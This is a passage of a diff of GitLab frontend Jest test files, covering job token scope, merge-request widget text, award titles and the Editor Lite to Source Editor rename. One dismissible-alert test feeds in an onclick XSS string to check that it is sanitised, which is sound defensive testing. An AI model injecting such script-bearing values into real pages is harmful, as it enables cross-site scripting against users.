+
+localVue.use(VueApollo);
+
+jest.mock('~/flash');
+
+describe('TokenAccess component', () => {
+ let wrapper;
+
+ const enabledJobTokenScopeHandler = jest.fn().mockResolvedValue(enabledJobTokenScope);
+ const disabledJobTokenScopeHandler = jest.fn().mockResolvedValue(disabledJobTokenScope);
+ const updateJobTokenScopeHandler = jest.fn().mockResolvedValue(updateJobTokenScope);
+ const getProjectsWithScope = jest.fn().mockResolvedValue(projectsWithScope);
+ const addProjectSuccessHandler = jest.fn().mockResolvedValue(addProjectSuccess);
+ const addProjectFailureHandler = jest.fn().mockRejectedValue(error);
+ const removeProjectSuccessHandler = jest.fn().mockResolvedValue(removeProjectSuccess);
+ const removeProjectFailureHandler = jest.fn().mockRejectedValue(error);
+
+ const findToggle = () => wrapper.findComponent(GlToggle);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findAddProjectBtn = () => wrapper.find('[data-testid="add-project-button"]');
+ const findRemoveProjectBtn = () => wrapper.find('[data-testid="remove-project-button"]');
+ const findTokenSection = () => wrapper.find('[data-testid="token-section"]');
+
+ const createMockApolloProvider = (requestHandlers) => {
+ return createMockApollo(requestHandlers);
+ };
+
+ const createComponent = (requestHandlers, mountFn = shallowMount) => {
+ wrapper = mountFn(TokenAccess, {
+ localVue,
+ provide: {
+ fullPath: projectPath,
+ },
+ apolloProvider: createMockApolloProvider(requestHandlers),
+ data() {
+ return {
+ targetProjectPath: 'root/test',
+ };
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('loading state', () => {
+ it('shows loading state while waiting on query to resolve', async () => {
+ createComponent([
+ [getCIJobTokenScopeQuery, enabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ ]);
+
+ expect(findLoadingIcon().exists()).toBe(true);
+
+ await waitForPromises();
+
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('toggle', () => {
+ it('the toggle should be enabled and the token section should show', async () => {
+ createComponent([
+ [getCIJobTokenScopeQuery, enabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ ]);
+
+ await waitForPromises();
+
+ expect(findToggle().props('value')).toBe(true);
+ expect(findTokenSection().exists()).toBe(true);
+ });
+
+ it('the toggle should be disabled and the token section should not show', async () => {
+ createComponent([
+ [getCIJobTokenScopeQuery, disabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ ]);
+
+ await waitForPromises();
+
+ expect(findToggle().props('value')).toBe(false);
+ expect(findTokenSection().exists()).toBe(false);
+ });
+
+ it('switching the toggle calls the mutation and fetches the projects again', async () => {
+ createComponent([
+ [getCIJobTokenScopeQuery, disabledJobTokenScopeHandler],
+ [updateCIJobTokenScopeMutation, updateJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ ]);
+
+ await waitForPromises();
+
+ expect(getProjectsWithScope).toHaveBeenCalledTimes(1);
+
+ findToggle().vm.$emit('change', true);
+
+ await waitForPromises();
+
+ expect(updateJobTokenScopeHandler).toHaveBeenCalledWith({
+ input: { fullPath: projectPath, jobTokenScopeEnabled: true },
+ });
+ expect(getProjectsWithScope).toHaveBeenCalledTimes(2);
+ });
+ });
+
+ describe('add project', () => {
+ it('calls add project mutation', async () => {
+ createComponent(
+ [
+ [getCIJobTokenScopeQuery, enabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ [addProjectCIJobTokenScopeMutation, addProjectSuccessHandler],
+ ],
+ mount,
+ );
+
+ await waitForPromises();
+
+ findAddProjectBtn().trigger('click');
+
+ expect(addProjectSuccessHandler).toHaveBeenCalledWith({
+ input: {
+ projectPath,
+ targetProjectPath: 'root/test',
+ },
+ });
+ });
+
+ it('add project handles error correctly', async () => {
+ createComponent(
+ [
+ [getCIJobTokenScopeQuery, enabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ [addProjectCIJobTokenScopeMutation, addProjectFailureHandler],
+ ],
+ mount,
+ );
+
+ await waitForPromises();
+
+ findAddProjectBtn().trigger('click');
+
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
+
+ describe('remove project', () => {
+ it('calls remove project mutation', async () => {
+ createComponent(
+ [
+ [getCIJobTokenScopeQuery, enabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ [removeProjectCIJobTokenScopeMutation, removeProjectSuccessHandler],
+ ],
+ mount,
+ );
+
+ await waitForPromises();
+
+ findRemoveProjectBtn().trigger('click');
+
+ expect(removeProjectSuccessHandler).toHaveBeenCalledWith({
+ input: {
+ projectPath,
+ targetProjectPath: 'root/332268-test',
+ },
+ });
+ });
+
+ it('remove project handles error correctly', async () => {
+ createComponent(
+ [
+ [getCIJobTokenScopeQuery, enabledJobTokenScopeHandler],
+ [getProjectsWithCIJobTokenScopeQuery, getProjectsWithScope],
+ [removeProjectCIJobTokenScopeMutation, removeProjectFailureHandler],
+ ],
+ mount,
+ );
+
+ await waitForPromises();
+
+ findRemoveProjectBtn().trigger('click');
+
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/token_access/token_projects_table_spec.js b/spec/frontend/token_access/token_projects_table_spec.js
new file mode 100644
index 00000000000..3bda0d0b530
--- /dev/null
+++ b/spec/frontend/token_access/token_projects_table_spec.js
@@ -0,0 +1,51 @@
+import { GlTable, GlButton } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import TokenProjectsTable from '~/token_access/components/token_projects_table.vue';
+import { mockProjects } from './mock_data';
+
+describe('Token projects table', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = mount(TokenProjectsTable, {
+ provide: {
+ fullPath: 'root/ci-project',
+ },
+ propsData: {
+ projects: mockProjects,
+ },
+ });
+ };
+
+ const findTable = () => wrapper.findComponent(GlTable);
+ const findAllTableRows = () => wrapper.findAll('[data-testid="projects-token-table-row"]');
+ const findDeleteProjectBtn = () => wrapper.findComponent(GlButton);
+ const findAllDeleteProjectBtn = () => wrapper.findAllComponents(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays a table', () => {
+ expect(findTable().exists()).toBe(true);
+ });
+
+ it('displays the correct amount of table rows', () => {
+ expect(findAllTableRows()).toHaveLength(mockProjects.length);
+ });
+
+ it('delete project button emits event with correct project to delete', async () => {
+ await findDeleteProjectBtn().trigger('click');
+
+ expect(wrapper.emitted('removeProject')).toEqual([[mockProjects[0].fullPath]]);
+ });
+
+ it('does not show the remove icon if the project is locked', () => {
+ // currently two mock projects with one being a locked project
+ expect(findAllDeleteProjectBtn()).toHaveLength(1);
+ });
+});
diff --git a/spec/frontend/tracking_spec.js b/spec/frontend/tracking_spec.js
index d8dae2b2dc0..13498cfb823 100644
--- a/spec/frontend/tracking_spec.js
+++ b/spec/frontend/tracking_spec.js
@@ -197,6 +197,52 @@ describe('Tracking', () => {
expectedError,
);
});
+
+ it('does not add empty form whitelist rules', () => {
+ Tracking.enableFormTracking({ fields: { allow: ['input-class1'] } });
+
+ expect(snowplowSpy).toHaveBeenCalledWith(
+ 'enableFormTracking',
+ { fields: { whitelist: ['input-class1'] } },
+ [],
+ );
+ });
+
+ describe('when `document.readyState` does not equal `complete`', () => {
+ const originalReadyState = document.readyState;
+ const setReadyState = (value) => {
+ Object.defineProperty(document, 'readyState', {
+ value,
+ configurable: true,
+ });
+ };
+ const fireReadyStateChangeEvent = () => {
+ document.dispatchEvent(new Event('readystatechange'));
+ };
+
+ beforeEach(() => {
+ setReadyState('interactive');
+ });
+
+ afterEach(() => {
+ setReadyState(originalReadyState);
+ });
+
+ it('does not call `window.snowplow` until `readystatechange` is fired and `document.readyState` equals `complete`', () => {
+ Tracking.enableFormTracking({ fields: { allow: ['input-class1'] } });
+
+ expect(snowplowSpy).not.toHaveBeenCalled();
+
+ fireReadyStateChangeEvent();
+
+ expect(snowplowSpy).not.toHaveBeenCalled();
+
+ setReadyState('complete');
+ fireReadyStateChangeEvent();
+
+ expect(snowplowSpy).toHaveBeenCalled();
+ });
+ });
});
describe('.flushPendingEvents', () => {
diff --git a/spec/frontend/vue_alerts_spec.js b/spec/frontend/vue_alerts_spec.js
index 05b73415544..30be606292f 100644
--- a/spec/frontend/vue_alerts_spec.js
+++ b/spec/frontend/vue_alerts_spec.js
@@ -28,8 +28,8 @@ describe('VueAlerts', () => {
alerts
.map(
(x) => `
- <div class="js-vue-alert"
- data-dismissible="${x.dismissible}"
+ <div class="js-vue-alert"
+ data-dismissible="${x.dismissible}"
data-title="${x.title}"
data-primary-button-text="${x.primaryButtonText}"
data-primary-button-link="${x.primaryButtonLink}"
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
index 115f21d8b35..f44f0b98207 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
@@ -1,4 +1,4 @@
-import { shallowMount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
import { nextTick } from 'vue';
import Header from '~/vue_merge_request_widget/components/mr_widget_header.vue';
@@ -26,6 +26,15 @@ describe('MRWidgetHeader', () => {
expect(downloadPlainDiffEl.attributes('href')).toBe('/mr/plainDiffPath');
};
+ const commonMrProps = {
+ divergedCommitsCount: 1,
+ sourceBranch: 'mr-widget-refactor',
+ sourceBranchLink: '<a href="/foo/bar/mr-widget-refactor">Link</a>',
+ targetBranch: 'main',
+ targetBranchPath: '/foo/bar/main',
+ statusPath: 'abc',
+ };
+
describe('computed', () => {
describe('shouldShowCommitsBehindText', () => {
it('return true when there are divergedCommitsCount', () => {
@@ -59,36 +68,28 @@ describe('MRWidgetHeader', () => {
describe('commitsBehindText', () => {
it('returns singular when there is one commit', () => {
- createComponent({
- mr: {
- divergedCommitsCount: 1,
- sourceBranch: 'mr-widget-refactor',
- sourceBranchLink: '<a href="/foo/bar/mr-widget-refactor">Link</a>',
- targetBranch: 'main',
- targetBranchPath: '/foo/bar/main',
- statusPath: 'abc',
+ wrapper = mount(Header, {
+ propsData: {
+ mr: commonMrProps,
},
});
- expect(wrapper.vm.commitsBehindText).toBe(
- 'The source branch is <a href="/foo/bar/main">1 commit behind</a> the target branch',
+ expect(wrapper.find('.diverged-commits-count').element.innerHTML).toBe(
+ 'The source branch is <a href="/foo/bar/main" class="gl-link">1 commit behind</a> the target branch',
);
});
it('returns plural when there is more than one commit', () => {
- createComponent({
- mr: {
- divergedCommitsCount: 2,
- sourceBranch: 'mr-widget-refactor',
- sourceBranchLink: '<a href="/foo/bar/mr-widget-refactor">Link</a>',
- targetBranch: 'main',
- targetBranchPath: '/foo/bar/main',
- statusPath: 'abc',
+ wrapper = mount(Header, {
+ propsData: {
+ mr: {
+ ...commonMrProps,
+ divergedCommitsCount: 2,
+ },
},
});
-
- expect(wrapper.vm.commitsBehindText).toBe(
- 'The source branch is <a href="/foo/bar/main">2 commits behind</a> the target branch',
+ expect(wrapper.find('.diverged-commits-count').element.innerHTML).toBe(
+ 'The source branch is <a href="/foo/bar/main" class="gl-link">2 commits behind</a> the target branch',
);
});
});
@@ -273,19 +274,18 @@ describe('MRWidgetHeader', () => {
describe('with diverged commits', () => {
beforeEach(() => {
- createComponent({
- mr: {
- divergedCommitsCount: 12,
- sourceBranch: 'mr-widget-refactor',
- sourceBranchLink: '<a href="/foo/bar/mr-widget-refactor">mr-widget-refactor</a>',
- sourceBranchRemoved: false,
- targetBranchPath: 'foo/bar/commits-path',
- targetBranchTreePath: 'foo/bar/tree/path',
- targetBranch: 'main',
- isOpen: true,
- emailPatchesPath: '/mr/email-patches',
- plainDiffPath: '/mr/plainDiffPath',
- statusPath: 'abc',
+ wrapper = mount(Header, {
+ propsData: {
+ mr: {
+ ...commonMrProps,
+ divergedCommitsCount: 12,
+ sourceBranchRemoved: false,
+ targetBranchPath: 'foo/bar/commits-path',
+ targetBranchTreePath: 'foo/bar/tree/path',
+ isOpen: true,
+ emailPatchesPath: '/mr/email-patches',
+ plainDiffPath: '/mr/plainDiffPath',
+ },
},
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_rebase_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_rebase_spec.js
index 5081e1e5906..d3221cc2fc7 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_rebase_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_rebase_spec.js
@@ -70,9 +70,9 @@ describe('Merge request widget rebase component', () => {
const text = findRebaseMessageElText();
- expect(text).toContain('Fast-forward merge is not possible.');
+ expect(text).toContain('Merge blocked');
expect(text.replace(/\s\s+/g, ' ')).toContain(
- 'Rebase the source branch onto the target branch.',
+ 'the source branch must be rebased onto the target branch',
);
});
@@ -111,12 +111,10 @@ describe('Merge request widget rebase component', () => {
const text = findRebaseMessageElText();
- expect(text).toContain('Fast-forward merge is not possible.');
- expect(text).toContain('Rebase the source branch onto');
- expect(text).toContain('foo');
- expect(text.replace(/\s\s+/g, ' ')).toContain(
- 'to allow this merge request to be merged.',
+ expect(text).toContain(
+ 'Merge blocked: the source branch must be rebased onto the target branch.',
);
+ expect(text).toContain('the source branch must be rebased');
});
it('should render the correct target branch name', () => {
@@ -136,7 +134,7 @@ describe('Merge request widget rebase component', () => {
const elem = findRebaseMessageEl();
expect(elem.text()).toContain(
- `Fast-forward merge is not possible. Rebase the source branch onto ${targetBranch} to allow this merge request to be merged.`,
+ `Merge blocked: the source branch must be rebased onto the target branch.`,
);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js b/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js
index 5d09af50420..8214cedc4a1 100644
--- a/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js
@@ -63,7 +63,7 @@ describe('Commits edit component', () => {
beforeEach(() => {
createComponent({
header: `<div class="test-header">${testCommitMessage}</div>`,
- checkbox: `<label slot="checkbox" class="test-checkbox">${testLabel}</label >`,
+ checkbox: `<label class="test-checkbox">${testLabel}</label >`,
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
index fee78d3af94..e1bce7f0474 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
@@ -199,7 +199,7 @@ describe('MRWidgetConflicts', () => {
});
expect(removeBreakLine(wrapper.text()).trim()).toContain(
- 'Fast-forward merge is not possible. To merge this request, first rebase locally.',
+ 'Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally.',
);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js
index 6bb87893c31..9c3a6d581e8 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js
@@ -217,7 +217,6 @@ describe('MRWidgetMerged', () => {
vm.mr.sourceBranchRemoved = false;
Vue.nextTick(() => {
- expect(vm.$el.innerText).toContain('You can delete the source branch now');
expect(vm.$el.innerText).not.toContain('The source branch has been deleted');
done();
});
@@ -229,7 +228,6 @@ describe('MRWidgetMerged', () => {
Vue.nextTick(() => {
expect(vm.$el.innerText).toContain('The source branch is being deleted');
- expect(vm.$el.innerText).not.toContain('You can delete the source branch now');
expect(vm.$el.innerText).not.toContain('The source branch has been deleted');
done();
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
index 2d00cd8e8d4..cd77d442cbf 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js
@@ -70,6 +70,9 @@ const createComponent = (customConfig = {}, mergeRequestWidgetGraphql = false) =
mergeRequestWidgetGraphql,
},
},
+ stubs: {
+ CommitEdit,
+ },
});
};
diff --git a/spec/frontend/vue_mr_widget/mock_data.js b/spec/frontend/vue_mr_widget/mock_data.js
index 8e36a9225d6..e6f1e15d718 100644
--- a/spec/frontend/vue_mr_widget/mock_data.js
+++ b/spec/frontend/vue_mr_widget/mock_data.js
@@ -273,9 +273,9 @@ export default {
'http://localhost:3000/root/acets-app/commit/53027d060246c8f47e4a9310fb332aa52f221775',
mr_troubleshooting_docs_path: 'help',
ci_troubleshooting_docs_path: 'help2',
- merge_request_pipelines_docs_path: '/help/ci/merge_request_pipelines/index.md',
+ merge_request_pipelines_docs_path: '/help/ci/pipelines/merge_request_pipelines.md',
merge_train_when_pipeline_succeeds_docs_path:
- '/help/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/#startadd-to-merge-train-when-pipeline-succeeds',
+ '/help/ci/pipelines/merge_trains.md#startadd-to-merge-train-when-pipeline-succeeds',
squash: true,
visual_review_app_available: true,
merge_trains_enabled: true,
diff --git a/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
index 3f91591f5cd..c14cf0db370 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap
@@ -7,7 +7,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button"
data-testid="award-button"
- title="Ada, Leonardo, and Marie"
+ title="Ada, Leonardo, and Marie reacted with :thumbsup:"
type="button"
>
<!---->
@@ -37,7 +37,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
- title="You, Ada, and Marie"
+ title="You, Ada, and Marie reacted with :thumbsdown:"
type="button"
>
<!---->
@@ -67,7 +67,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button"
data-testid="award-button"
- title="Ada and Jane"
+ title="Ada and Jane reacted with :smile:"
type="button"
>
<!---->
@@ -97,7 +97,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
- title="You, Ada, Jane, and Leonardo"
+ title="You, Ada, Jane, and Leonardo reacted with :ok_hand:"
type="button"
>
<!---->
@@ -127,7 +127,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
- title="You"
+ title="You reacted with :cactus:"
type="button"
>
<!---->
@@ -157,7 +157,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button"
data-testid="award-button"
- title="Marie"
+ title="Marie reacted with :a:"
type="button"
>
<!---->
@@ -187,7 +187,7 @@ exports[`vue_shared/components/awards_list default matches snapshot 1`] = `
<button
class="btn gl-mr-3 gl-my-2 btn-default btn-md gl-button selected"
data-testid="award-button"
- title="You"
+ title="You reacted with :b:"
type="button"
>
<!---->
diff --git a/spec/frontend/vue_shared/components/__snapshots__/editor_lite_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/editor_lite_spec.js.snap
deleted file mode 100644
index 26785855369..00000000000
--- a/spec/frontend/vue_shared/components/__snapshots__/editor_lite_spec.js.snap
+++ /dev/null
@@ -1,14 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Editor Lite component rendering matches the snapshot 1`] = `
-<div
- data-editor-loading=""
- id="editor-lite-snippet_777"
->
- <pre
- class="editor-loading-content"
- >
- Lorem ipsum dolor sit amet, consectetur adipiscing elit.
- </pre>
-</div>
-`;
diff --git a/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap
new file mode 100644
index 00000000000..7ce155f6a5d
--- /dev/null
+++ b/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap
@@ -0,0 +1,14 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Source Editor component rendering matches the snapshot 1`] = `
+<div
+ data-editor-loading=""
+ id="source-editor-snippet_777"
+>
+ <pre
+ class="editor-loading-content"
+ >
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+ </pre>
+</div>
+`;
diff --git a/spec/frontend/vue_shared/components/awards_list_spec.js b/spec/frontend/vue_shared/components/awards_list_spec.js
index 55f9eedc169..95e9760c181 100644
--- a/spec/frontend/vue_shared/components/awards_list_spec.js
+++ b/spec/frontend/vue_shared/components/awards_list_spec.js
@@ -98,43 +98,43 @@ describe('vue_shared/components/awards_list', () => {
classes: REACTION_CONTROL_CLASSES,
count: 3,
html: matchingEmojiTag(EMOJI_THUMBSUP),
- title: 'Ada, Leonardo, and Marie',
+ title: `Ada, Leonardo, and Marie reacted with :${EMOJI_THUMBSUP}:`,
},
{
classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 3,
html: matchingEmojiTag(EMOJI_THUMBSDOWN),
- title: 'You, Ada, and Marie',
+ title: `You, Ada, and Marie reacted with :${EMOJI_THUMBSDOWN}:`,
},
{
classes: REACTION_CONTROL_CLASSES,
count: 2,
html: matchingEmojiTag(EMOJI_SMILE),
- title: 'Ada and Jane',
+ title: `Ada and Jane reacted with :${EMOJI_SMILE}:`,
},
{
classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 4,
html: matchingEmojiTag(EMOJI_OK),
- title: 'You, Ada, Jane, and Leonardo',
+ title: `You, Ada, Jane, and Leonardo reacted with :${EMOJI_OK}:`,
},
{
classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 1,
html: matchingEmojiTag(EMOJI_CACTUS),
- title: 'You',
+ title: `You reacted with :${EMOJI_CACTUS}:`,
},
{
classes: REACTION_CONTROL_CLASSES,
count: 1,
html: matchingEmojiTag(EMOJI_A),
- title: 'Marie',
+ title: `Marie reacted with :${EMOJI_A}:`,
},
{
classes: [...REACTION_CONTROL_CLASSES, 'selected'],
count: 1,
html: matchingEmojiTag(EMOJI_B),
- title: 'You',
+ title: `You reacted with :${EMOJI_B}:`,
},
]);
});
@@ -246,13 +246,13 @@ describe('vue_shared/components/awards_list', () => {
classes: REACTION_CONTROL_CLASSES,
count: 1,
html: matchingEmojiTag(EMOJI_100),
- title: 'Marie',
+ title: `Marie reacted with :${EMOJI_100}:`,
},
{
classes: REACTION_CONTROL_CLASSES,
count: 1,
html: matchingEmojiTag(EMOJI_SMILE),
- title: 'Marie',
+ title: `Marie reacted with :${EMOJI_SMILE}:`,
},
]);
});
diff --git a/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js b/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js
index f592db935ec..d14f3e5559f 100644
--- a/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js
+++ b/spec/frontend/vue_shared/components/blob_viewers/rich_viewer_spec.js
@@ -10,9 +10,10 @@ describe('Blob Rich Viewer component', () => {
const content = '<h1 id="markdown">Foo Bar</h1>';
const defaultType = 'markdown';
- function createComponent(type = defaultType) {
+ function createComponent(type = defaultType, richViewer) {
wrapper = shallowMount(RichViewer, {
propsData: {
+ richViewer,
content,
type,
},
@@ -31,6 +32,12 @@ describe('Blob Rich Viewer component', () => {
expect(wrapper.html()).toContain(content);
});
+ it('renders the richViewer if one is present', () => {
+ const richViewer = '<div class="js-pdf-viewer"></div>';
+ createComponent('pdf', richViewer);
+ expect(wrapper.html()).toContain(richViewer);
+ });
+
it('queries for advanced viewer', () => {
expect(handleBlobRichViewer).toHaveBeenCalledWith(expect.anything(), defaultType);
});
diff --git a/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js b/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js
index 46d4edad891..c6c351a7f3f 100644
--- a/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js
+++ b/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js
@@ -2,7 +2,7 @@ import { shallowMount } from '@vue/test-utils';
import waitForPromises from 'helpers/wait_for_promises';
import { HIGHLIGHT_CLASS_NAME } from '~/vue_shared/components/blob_viewers/constants';
import SimpleViewer from '~/vue_shared/components/blob_viewers/simple_viewer.vue';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
describe('Blob Simple Viewer component', () => {
let wrapper;
@@ -96,7 +96,7 @@ describe('Blob Simple Viewer component', () => {
});
describe('Vue refactoring to use Source Editor', () => {
- const findEditorLite = () => wrapper.find(EditorLite);
+ const findSourceEditor = () => wrapper.find(SourceEditor);
it.each`
doesRender | condition | isRawContent | isRefactorFlagEnabled
@@ -105,19 +105,19 @@ describe('Blob Simple Viewer component', () => {
${'Does not'} | ${'both, the FF and rawContent are not specified'} | ${false} | ${false}
${'Does'} | ${'both, the FF and rawContent are specified'} | ${true} | ${true}
`(
- '$doesRender render Editor Lite component in readonly mode when $condition',
+ '$doesRender render Source Editor component in readonly mode when $condition',
async ({ isRawContent, isRefactorFlagEnabled } = {}) => {
createComponent('raw content', isRawContent, isRefactorFlagEnabled);
await waitForPromises();
if (isRawContent && isRefactorFlagEnabled) {
- expect(findEditorLite().exists()).toBe(true);
+ expect(findSourceEditor().exists()).toBe(true);
- expect(findEditorLite().props('value')).toBe('raw content');
- expect(findEditorLite().props('fileName')).toBe('test.js');
- expect(findEditorLite().props('editorOptions')).toEqual({ readOnly: true });
+ expect(findSourceEditor().props('value')).toBe('raw content');
+ expect(findSourceEditor().props('fileName')).toBe('test.js');
+ expect(findSourceEditor().props('editorOptions')).toEqual({ readOnly: true });
} else {
- expect(findEditorLite().exists()).toBe(false);
+ expect(findSourceEditor().exists()).toBe(false);
}
},
);
diff --git a/spec/frontend/vue_shared/components/diff_viewer/viewers/image_diff_viewer_spec.js b/spec/frontend/vue_shared/components/diff_viewer/viewers/image_diff_viewer_spec.js
index eacc41ccdad..8deb466b33c 100644
--- a/spec/frontend/vue_shared/components/diff_viewer/viewers/image_diff_viewer_spec.js
+++ b/spec/frontend/vue_shared/components/diff_viewer/viewers/image_diff_viewer_spec.js
@@ -109,9 +109,11 @@ describe('ImageDiffViewer', () => {
components: {
imageDiffViewer,
},
- data: {
- ...allProps,
- diffMode: 'renamed',
+ data() {
+ return {
+ ...allProps,
+ diffMode: 'renamed',
+ };
},
...compileToFunctions(`
<image-diff-viewer
@@ -121,7 +123,9 @@ describe('ImageDiffViewer', () => {
:new-size="newSize"
:old-size="oldSize"
>
- <span slot="image-overlay" class="overlay">test</span>
+ <template #image-overlay>
+ <span class="overlay">test</span>
+ </template>
</image-diff-viewer>
`),
}).$mount();
diff --git a/spec/frontend/vue_shared/components/dismissible_alert_spec.js b/spec/frontend/vue_shared/components/dismissible_alert_spec.js
index cfa6d1064e5..fcd004d35a7 100644
--- a/spec/frontend/vue_shared/components/dismissible_alert_spec.js
+++ b/spec/frontend/vue_shared/components/dismissible_alert_spec.js
@@ -5,18 +5,12 @@ import DismissibleAlert from '~/vue_shared/components/dismissible_alert.vue';
const TEST_HTML = 'Hello World! <strong>Foo</strong>';
describe('vue_shared/components/dismissible_alert', () => {
- const testAlertProps = {
- primaryButtonText: 'Lorem ipsum',
- primaryButtonLink: '/lorem/ipsum',
- };
-
let wrapper;
const createComponent = (props = {}) => {
wrapper = shallowMount(DismissibleAlert, {
propsData: {
html: TEST_HTML,
- ...testAlertProps,
...props,
},
});
@@ -28,16 +22,13 @@ describe('vue_shared/components/dismissible_alert', () => {
const findAlert = () => wrapper.find(GlAlert);
- describe('with default', () => {
+ describe('default', () => {
beforeEach(() => {
createComponent();
});
it('shows alert', () => {
- const alert = findAlert();
-
- expect(alert.exists()).toBe(true);
- expect(alert.props()).toEqual(expect.objectContaining(testAlertProps));
+ expect(findAlert().exists()).toBe(true);
});
it('shows given HTML', () => {
@@ -54,4 +45,32 @@ describe('vue_shared/components/dismissible_alert', () => {
});
});
});
+
+ describe('with additional props', () => {
+ const testAlertProps = {
+ dismissible: true,
+ title: 'Mock Title',
+ primaryButtonText: 'Lorem ipsum',
+ primaryButtonLink: '/lorem/ipsum',
+ variant: 'warning',
+ };
+
+ beforeEach(() => {
+ createComponent(testAlertProps);
+ });
+
+ it('passes other props', () => {
+ expect(findAlert().props()).toEqual(expect.objectContaining(testAlertProps));
+ });
+ });
+
+ describe('with unsafe HTML', () => {
+ beforeEach(() => {
+ createComponent({ html: '<a onclick="alert("XSS")">Link</a>' });
+ });
+
+ it('removes unsafe HTML', () => {
+ expect(findAlert().html()).toContain('<a>Link</a>');
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/editor_lite_spec.js b/spec/frontend/vue_shared/components/editor_lite_spec.js
deleted file mode 100644
index badd5aed0e3..00000000000
--- a/spec/frontend/vue_shared/components/editor_lite_spec.js
+++ /dev/null
@@ -1,151 +0,0 @@
